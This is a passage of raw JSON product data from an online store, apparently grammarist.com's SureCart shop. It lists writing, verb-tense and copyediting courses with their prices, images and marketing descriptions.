-907a-65f093116ba6"},"data":[]},"image_url":null,"created_at":1734436431,"updated_at":1778394969,"post":{"ID":108536,"post_author":"307024","post_date":"2024-12-17 05:53:51","post_date_gmt":"2024-12-17 11:53:51","post_content":"","post_title":"Grammarist Master The Pen","post_excerpt":"\u003Cul\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EAuthorial Insights and Practical Advice\u003C\/strong\u003E: Receive guidance and professional tips from Candace Osmond, a USA TODAY Bestselling Author, who shares her journey from an aspiring writer to a published author, helping you navigate the challenges of the writing world.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EFundamentals of Writing Mechanics\u003C\/strong\u003E: Learn the essential technical aspects of writing, including grammar, structure, and style, to produce clear, effective, and engaging content across various genres.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003ECharacter and Plot Development Mastery\u003C\/strong\u003E: Uncover techniques for creating complex characters and compelling plots, vital for crafting engaging narratives that captivate readers.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EDiverse Writing Styles and Formats\u003C\/strong\u003E: Gain proficiency in different writing styles, from narrative and expository to business-oriented content, enhancing your ability to connect with various audiences.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EEditing, Publishing, and Marketing Skills\u003C\/strong\u003E: Understand the complete writing process, from post-draft editing to publishing and marketing, equipping you with the tools to not only write but also successfully publish and promote your work.\u003C\/p\u003E\u003C\/li\u003E\u003C\/ul\u003E","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"master-the-pen","to_ping":"","pinged":"","post_modified":"2026-05-10 00:36:56","post_modified_gmt":"2026-05-10 06:36:56","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/?post_type=sc_product\u0026#038;p=108536","menu_order":0,"post_type":"sc_product","post_mime_type":"","comment_count":"0","filter":"raw"},"synced":true,"has_syncable_expands":false,"image_srcset":"","checkout_permalink":"https:\/\/grammarist.com\/buy\/master-the-pen","permalink":"https:\/\/grammarist.com\/products\/master-the-pen\/","is_published":true,"page_title":"Grammarist Master The Pen","meta_description":"\u003Cul\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EAuthorial Insights and Practical Advice\u003C\/strong\u003E: Receive guidance and professional tips from Candace Osmond, a USA TODAY Bestselling Author, who shares her journey from an aspiring writer to a published author, helping you navigate the challenges of the writing world.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EFundamentals of Writing Mechanics\u003C\/strong\u003E: Learn the essential technical aspects of writing, including grammar, structure, and style, to produce clear, effective, and engaging content across various genres.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003ECharacter and Plot Development Mastery\u003C\/strong\u003E: Uncover techniques for creating complex characters and compelling plots, vital for crafting engaging narratives that captivate readers.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EDiverse Writing Styles and Formats\u003C\/strong\u003E: Gain proficiency in different writing styles, from narrative and expository to business-oriented content, enhancing your ability to connect with various audiences.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EEditing, Publishing, and Marketing Skills\u003C\/strong\u003E: Understand the complete writing process, from post-draft editing to publishing and marketing, equipping you with the tools to not only write but also successfully publish and promote your work.\u003C\/p\u003E\u003C\/li\u003E\u003C\/ul\u003E","in_stock":true,"active_prices":[{"id":"bd790649-74b3-4826-a67c-ec0498ba6c3c","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":29700,"archived":false,"currency":"usd","current_version":true,"full_amount":29700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"4614e2c8-27a1-4778-907a-65f093116ba6","renew
1248al_price":null,"recurring_end_behavior":"complete","created_at":1734436496,"updated_at":1734436496,"display_amount":"$297","converted_amount":297,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"4614e2c8-27a1-4778-907a-65f093116ba6"}],"has_variants":false,"has_multiple_prices":false,"active_ad_hoc_prices":[],"has_options":false,"featured_image":{"ID":87858,"post_author":"307024","post_date":"2023-12-05 09:38:20","post_date_gmt":"2023-12-05 15:38:20","post_content":"","post_title":"Master the Pen Featured Image","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"master-the-pen-featured-image","to_ping":"","pinged":"","post_modified":"2023-12-05 09:38:20","post_modified_gmt":"2023-12-05 15:38:20","post_content_filtered":"","post_parent":80967,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":87858,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image.png"},"featured_media":null,"template_id":"pages\/template-surecart-product.php","trial_text":"","billing_interval_text":"","setup_fee_text":"","has_unlimited_stock":true,"first_variant_with_stock":null,"in_stock_variants":[],"initial_price":{"id":"bd790649-74b3-4826-a67c-ec0498ba6c3c","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":29700,"archived":false,"currency":"usd","current_version":true,"full_amount":29700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"4614e2c8-27a1-4778-907a-65f093116ba6","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734436496,"updated_at":1734436496,"display_amount":"$297","converted_amount":297,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"4614e2c8-27a1-4778-907a-65f093116ba6"},"initial_variant":null,"initial_amount":29700,"scratch_amount":null,"scratch_display_amount":"","template":null,"template_part_id":"surecart\/surecart\/\/product-info","gallery":[{"ID":87858,"post_author":"307024","post_date":"2023-12-05 09:38:20","post_date_gmt":"2023-12-05 15:38:20","post_content":"","post_title":"Master the Pen Featured Image","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"master-the-pen-featured-image","to_ping":"","pinged":"","post_modified":"2023-12-05 09:38:20","post_modified_gmt":"2023-12-05 15:38:20","post_content_filtered":"","post_parent":80967,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":87858,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image.png"}],"display_amount":"$297","range_display_amount":"$297","is_on_sale":false,"line_item_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-150x150.png","class":"attachment-thumbnail size-thumbnail","alt":"","width":150,"height":150,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-150x150.png 150w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-300x300.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-100x100.png 100w","sizes":"(max-width: 150px) 100v
1248w, 150px"},"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-600x338.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image.png 1920w","sizes":"(max-width: 768px) 100vw, 768px"},"cataloged_at_date_time":"December 17, 2024 5:53 am","has_videos":false,"total_reviews":0,"reviews_breakdown_array":[0,0,0,0,0],"review_url":"","created_by":false,"cached":null,"created_at_date":"December 17, 2024","created_at_date_time":"December 17, 2024 5:53 am","updated_at_date":"May 10, 2026","updated_at_date_time":"May 10, 2026 12:36 am","has_variable_components":false,"bundle_variable_component_ids":[],"gallery_ids":[87858]},{"id":"c87f28b5-cbf5-450a-887c-8b5fbaf57004","object":"product","allow_out_of_stock_purchases":false,"archived":false,"auto_fulfill_enabled":true,"available_stock":0,"average_stars":"0.0","bundle":false,"description":null,"featured":false,"licensing_enabled":false,"license_activation_limit":null,"purchase_limit":null,"metrics":{"currency":"usd","max_price_amount":9900,"min_price_amount":100,"prices_count":2},"name":"Grammarist Practical Verb Tenses Mastery","recurring":false,"reviews_breakdown":[],"reviews_enabled":false,"shipping_enabled":false,"slug":"verb-tense-mastery-course","solicit_reviews":true,"stock_enabled":false,"prices":{"object":"list","pagination":{"count":2,"limit":20,"page":1,"url":"\/v1\/prices?product_ids%5B%5D=c87f28b5-cbf5-450a-887c-8b5fbaf57004"},"data":[{"id":"d026e594-16bd-4a10-9952-1b0d94f1dc45","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":100,"archived":false,"currency":"usd","current_version":true,"full_amount":100,"license_activation_limit":null,"name":"test","position":1,"portal_subscription_update_enabled":false,"restart_subscription_on_completed":false,"revoke_after_days":15,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"c87f28b5-cbf5-450a-887c-8b5fbaf57004","renewal_price":null,"recurring_end_behavior":"complete","created_at":1765579357,"updated_at":1765579357,"display_amount":"$1","converted_amount":1,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"c87f28b5-cbf5-450a-887c-8b5fbaf57004"},{"id":"a1504034-35c1-404a-b713-8707bf98fba1","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9900,"archived":false,"currency":"usd","current_version":true,"full_amount":9900,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"c87f28b5-cbf5-450a-887c-8b5fbaf57004","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734436250,"updated_at":1734436250,"display_amount":"$99","converted_amount":99,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"c87f28b5-cbf5-450a-887c-8b5fbaf57004"}]},"product_group":null,"product_medias":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_medias?product_ids%5B%5D=c87f28b5-cbf5-450a-887c-8b5fbaf57004"},"data":[]},"product_collections":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_collections?product_ids%5B%5D=c87f28b5-cbf5-450a-887c-8b5fbaf57004"},"data":[]},"variant_options":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/variant_options?product_ids%5B%5D=c87f28b5-cbf5-450a-887c-8b5fbaf57004"},"data":[]},"variants":{"object":"list","pagination":{"count":0,"limit":300,"page":1,"url":"\/v1\/variants?product_ids%5B%5D=c87f28b5-cbf5-450a-887c-8b5fbaf57004"},"data":[]},"image_url":null,"created_at":1734436184,"updated_at":1781180906,"post":{"ID":108535,"post_author":"307024","post_date":"2024-12-17 05:49:44","post_date_gmt":"2024-12-17 11:49:44","post_content":"","post_title":"Grammarist Practical Verb Tenses Mastery","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"verb-tense-mastery-course","to_ping":"","pinged":"","post_modified":"2026-06-11 06:28:52","post_modified_gmt":"2026-06-11 12:28:52","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/?post_type=sc_product\u
12480026#038;p=108535","menu_order":0,"post_type":"sc_product","post_mime_type":"","comment_count":"0","filter":"raw"},"synced":true,"has_syncable_expands":false,"image_srcset":"","checkout_permalink":"https:\/\/grammarist.com\/buy\/verb-tense-mastery-course","permalink":"https:\/\/grammarist.com\/products\/verb-tense-mastery-course\/","is_published":true,"page_title":"Grammarist Practical Verb Tenses Mastery","meta_description":"","in_stock":true,"active_prices":[{"id":"a1504034-35c1-404a-b713-8707bf98fba1","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9900,"archived":false,"currency":"usd","current_version":true,"full_amount":9900,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"c87f28b5-cbf5-450a-887c-8b5fbaf57004","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734436250,"updated_at":1734436250,"display_amount":"$99","converted_amount":99,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"c87f28b5-cbf5-450a-887c-8b5fbaf57004"},{"id":"d026e594-16bd-4a10-9952-1b0d94f1dc45","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":100,"archived":false,"currency":"usd","current_version":true,"full_amount":100,"license_activation_limit":null,"name":"test","position":1,"portal_subscription_update_enabled":false,"restart_subscription_on_completed":false,"revoke_after_days":15,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"c87f28b5-cbf5-450a-887c-8b5fbaf57004","renewal_price":null,"recurring_end_behavior":"complete","created_at":1765579357,"updated_at":1765579357,"display_amount":"$1","converted_amount":1,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"c87f28b5-cbf5-450a-887c-8b5fbaf57004"}],"has_variants":false,"has_multiple_prices":true,"active_ad_hoc_prices":[],"has_options":true,"featured_image":{"ID":84075,"post_author":"305970","post_date":"2023-10-12 12:11:23","post_date_gmt":"2023-10-12 18:11:23","post_content":"","post_title":"Verb Tense Course","post_excerpt":"","post_status":"inherit","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"verb-tense-course-2-png","to_ping":"","pinged":"","post_modified":"2023-10-12 12:11:25","post_modified_gmt":"2023-10-12 18:11:25","post_content_filtered":"","post_parent":21239,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":84075,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2.png"},"featured_media":null,"template_id":"pages\/template-surecart-product.php","trial_text":"","billing_interval_text":"","setup_fee_text":"","has_unlimited_stock":true,"first_variant_with_stock":null,"in_stock_variants":[],"initial_price":{"id":"a1504034-35c1-404a-b713-8707bf98fba1","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9900,"archived":false,"currency":"usd","current_version":true,"full_amount":9900,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"c87f28b5-cbf5-450a-887c-8b5fbaf57004","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734436250,"updated_at":1734436250,"display_amount":"$99","converted_amount":99,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"c87f28b5-cbf5-450a-887c-8b5fbaf57004"},"initial_variant":null,"initial_amount":9900,"scratch_amount":null,"scratch_display_amount":"","template":null,"template_part_id":"surecart\/surecart\/\/product-info","gallery":[{"ID":84075,"post_author":"305970","post_date":"2023-10-12 12:11:23","post_date_gmt":"2023-10-12 18:11:23","post_content":"","post_title":"Verb Tense Course","post_excerpt":"","post_status":"inherit","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"verb-tense-course-2-png","to_ping":"","pinged":"","post_modified":"2023-10-12 12:11:25","post_modified_gmt":"2023-10-12 18:11:25","post_content_filtered":"","post_parent":21239,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":84075,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2.png"}],"display_amount":"$99","range_display_amount":"$1 - $99","is_on_sale":false,"line_item_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-150x150.png","class":"attachment-thumbnail size-thumbnail","alt":"","width":150,"height":150,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-150x150.png 150w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-300x300.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-100x100.png 100w","sizes":"(max-width: 150px) 100v
1248w, 150px"},"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-600x338.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2.png 1920w","sizes":"(max-width: 768px) 100vw, 768px"},"cataloged_at_date_time":"December 17, 2024 5:49 am","has_videos":false,"total_reviews":0,"reviews_breakdown_array":[0,0,0,0,0],"review_url":"","created_by":false,"cached":null,"created_at_date":"December 17, 2024","created_at_date_time":"December 17, 2024 5:49 am","updated_at_date":"June 11, 2026","updated_at_date_time":"June 11, 2026 6:28 am","has_variable_components":false,"bundle_variable_component_ids":[],"gallery_ids":[84075]},{"id":"2cc726c4-3298-4e78-8a61-dfc5d4be174d","object":"product","allow_out_of_stock_purchases":false,"archived":false,"auto_fulfill_enabled":true,"available_stock":-2,"average_stars":"0.0","bundle":false,"description":"\u003Cul\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EComprehensive Skill Development\u003C\/strong\u003E: Gain all the necessary knowledge, tools, techniques, and business skills for a successful proofreading\/copyediting career, from spotting culturally insensitive language to understanding core proofreading principles.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EClient Relationships and Business Setup\u003C\/strong\u003E: Learn to find high-quality clients, write compelling business proposals, and create a robust business foundation with essential tools like a website, r\u00e9sum\u00e9, and billing system.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EEnhanced Efficiency and Error Correction\u003C\/strong\u003E: Master the use of tools and platforms for efficient work and learn to spot and correct all types of writing errors, enhancing your ability to revise various content types.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003ESpecialization and Style Adaptability\u003C\/strong\u003E: Explore lucrative niches within proofreading and copyediting, like academic and podcast proofreading, and understand the use of different style guides to adapt to client-specific requests\u003C\/p\u003E\u003C\/li\u003E\u003C\/ul\u003E","featured":false,"licensing_enabled":false,"license_activation_limit":null,"purchase_limit":null,"metrics":{"currency":"usd","max_price_amount":49700,"min_price_amount":19900,"prices_count":2},"name":"Grammarist Breakthrough Copyediting and Proofreading","recurring":true,"reviews_breakdown":[],"reviews_enabled":false,"shipping_enabled":false,"slug":"breakthrough-copyediting-and-proofreading","solicit_reviews":true,"stock_enabled":false,"product_group":null,"image_url":null,"created_at":1734431973,"updated_at":1778394969,"prices":{"object":"list","pagination":{"count":2,"limit":20,"page":1,"url":"\/v1\/prices?product_ids%5B%5D=2cc726c4-3298-4e78-8a61-dfc5d4be174d"},"data":[{"id":"6a5c8177-ce47-44e0-a42e-7d34fadf3b6e","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":19900,"archived":false,"currency":"usd","current_version":true,"full_amount":59700,"license_activation_limit":null,"name":"Installment Plan","position":1,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":"month","recurring_interval_count":1,"recurring_period_count":3,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"2cc726c4-3298-4e78-8a61-dfc5d4be174d","renew
1248al_price":null,"recurring_end_behavior":"complete","created_at":1745408412,"updated_at":1745408447,"display_amount":"$199","converted_amount":199,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"3 payments","interval_text":"every 1 month","short_interval_text":"\/ 1 mo","short_interval_count_text":" x 3","interval_count_text":"(3 payments)","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"2cc726c4-3298-4e78-8a61-dfc5d4be174d"},{"id":"69ecfb00-5e39-409f-8f6a-b30840cbea57","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":49700,"archived":false,"currency":"usd","current_version":true,"full_amount":49700,"license_activation_limit":null,"name":"One Time","position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"2cc726c4-3298-4e78-8a61-dfc5d4be174d","renewal_price":null,"recurring_end_behavior":"complete","created_at":1735329156,"updated_at":1745408477,"display_amount":"$497","converted_amount":497,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"2cc726c4-3298-4e78-8a61-dfc5d4be174d"}]},"bundle_items":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/bundle_items?bundle_product_ids%5B%5D=2cc726c4-3298-4e78-8a61-dfc5d4be174d"},"data":[]},"product_medias":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_medias?product_ids%5B%5D=2cc726c4-3298-4e78-8a61-dfc5d4be174d"},"data":[]},"product_collections":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_collections?product_ids%5B%5D=2cc726c4-3298-4e78-8a61-dfc5d4be174d"},"data":[]},"variant_options":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/variant_options?product_ids%5B%5D=2cc726c4-3298-4e78-8a61-dfc5d4be174d"},"data":[]},"variants":{"object":"list","pagination":{"count":0,"limit":300,"page":1,"url":"\/v1\/variants?product_ids%5B%5D=2cc726c4-3298-4e78-8a61-dfc5d4be174d"},"data":[]},"post":{"ID":108533,"post_author":"307024","post_date":"2024-12-17 04:39:33","post_date_gmt":"2024-12-17 10:39:33","post_content":"","post_title":"Grammarist Breakthrough Copyediting and Proofreading","post_excerpt":"\u003Cul\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EComprehensive Skill Development\u003C\/strong\u003E: Gain all the necessary knowledge, tools, techniques, and business skills for a successful proofreading\/copyediting career, from spotting culturally insensitive language to understanding core proofreading principles.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EClient Relationships and Business Setup\u003C\/strong\u003E: Learn to find high-quality clients, write compelling business proposals, and create a robust business foundation with essential tools like a website, r\u00e9sum\u00e9, and billing system.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EEnhanced Efficiency and Error Correction\u003C\/strong\u003E: Master the use of tools and platforms for efficient work and learn to spot and correct all types of writing errors, enhancing your ability to revise various content types.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003ESpecialization and Style Adaptability\u003C\/strong\u003E: Explore lucrative niches within proofreading and copyediting, like academic and podcast proofreading, and understand the use of different style guides to adapt to client-specific requests\u003C\/p\u003E\u003C\/li\u003E\u003C\/ul\u003E","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"breakthrough-copyediting-and-proofreading","to_ping":"","pinged":"","post_modified":"2026-08-14 19:41:40","post_modified_gmt":"2026-08-15 01:41:40","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/?post_type=sc_product\u
